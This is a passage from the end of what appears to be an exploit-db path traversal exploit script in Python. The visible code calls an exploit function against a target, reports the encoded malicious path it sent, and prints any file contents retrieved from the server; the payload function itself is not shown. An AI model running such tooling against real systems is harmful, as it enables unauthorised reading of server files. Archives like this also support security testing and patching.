{args.method}") print("-"*70 + "\n") result = exploit_path_traversal_precise(args.target, args.file, args.method) print("\n" + "-"*70) print(" Exploit Results") print("-"*70) print(f" Request URL: {result['full_request_url']}") print(f" Malicious Path Sent (Raw): {result['malicious_path_sent_raw']}") print(f" Malicious Path Sent (Encoded): {result['malicious_path_sent_encoded']}") print(f" Response Status Code: {result['response_status_code']}") print(f" Response Content Length: {result['response_content_length']} bytes") if result["success"]: print("\n [+] File successfully retrieved! Content below:") print(" " + "="*66) print(result["extracted_content"]) print(" " + "="*66) else: print("\n [-] File retrieval failed or unexpected content received.") if result["error_message"]: print(f" Error: {result['error_message']}") elif result["extracted_content"]: print("\n Response content (partial, may indicate server error or unexpected data):") print(" " + "-"*66) # Truncate long content if not fully successful print(result["extracted_content"][:1000] + "..." if len(result["extracted_content"]) > 1000 else result["extracted_content"]) print(" " + "-"*66) print("\n" + "="*70) print(" Complete") print("="*70 + "\n") if name == "main": main()
exploit-db.comJul 16, 2025extracted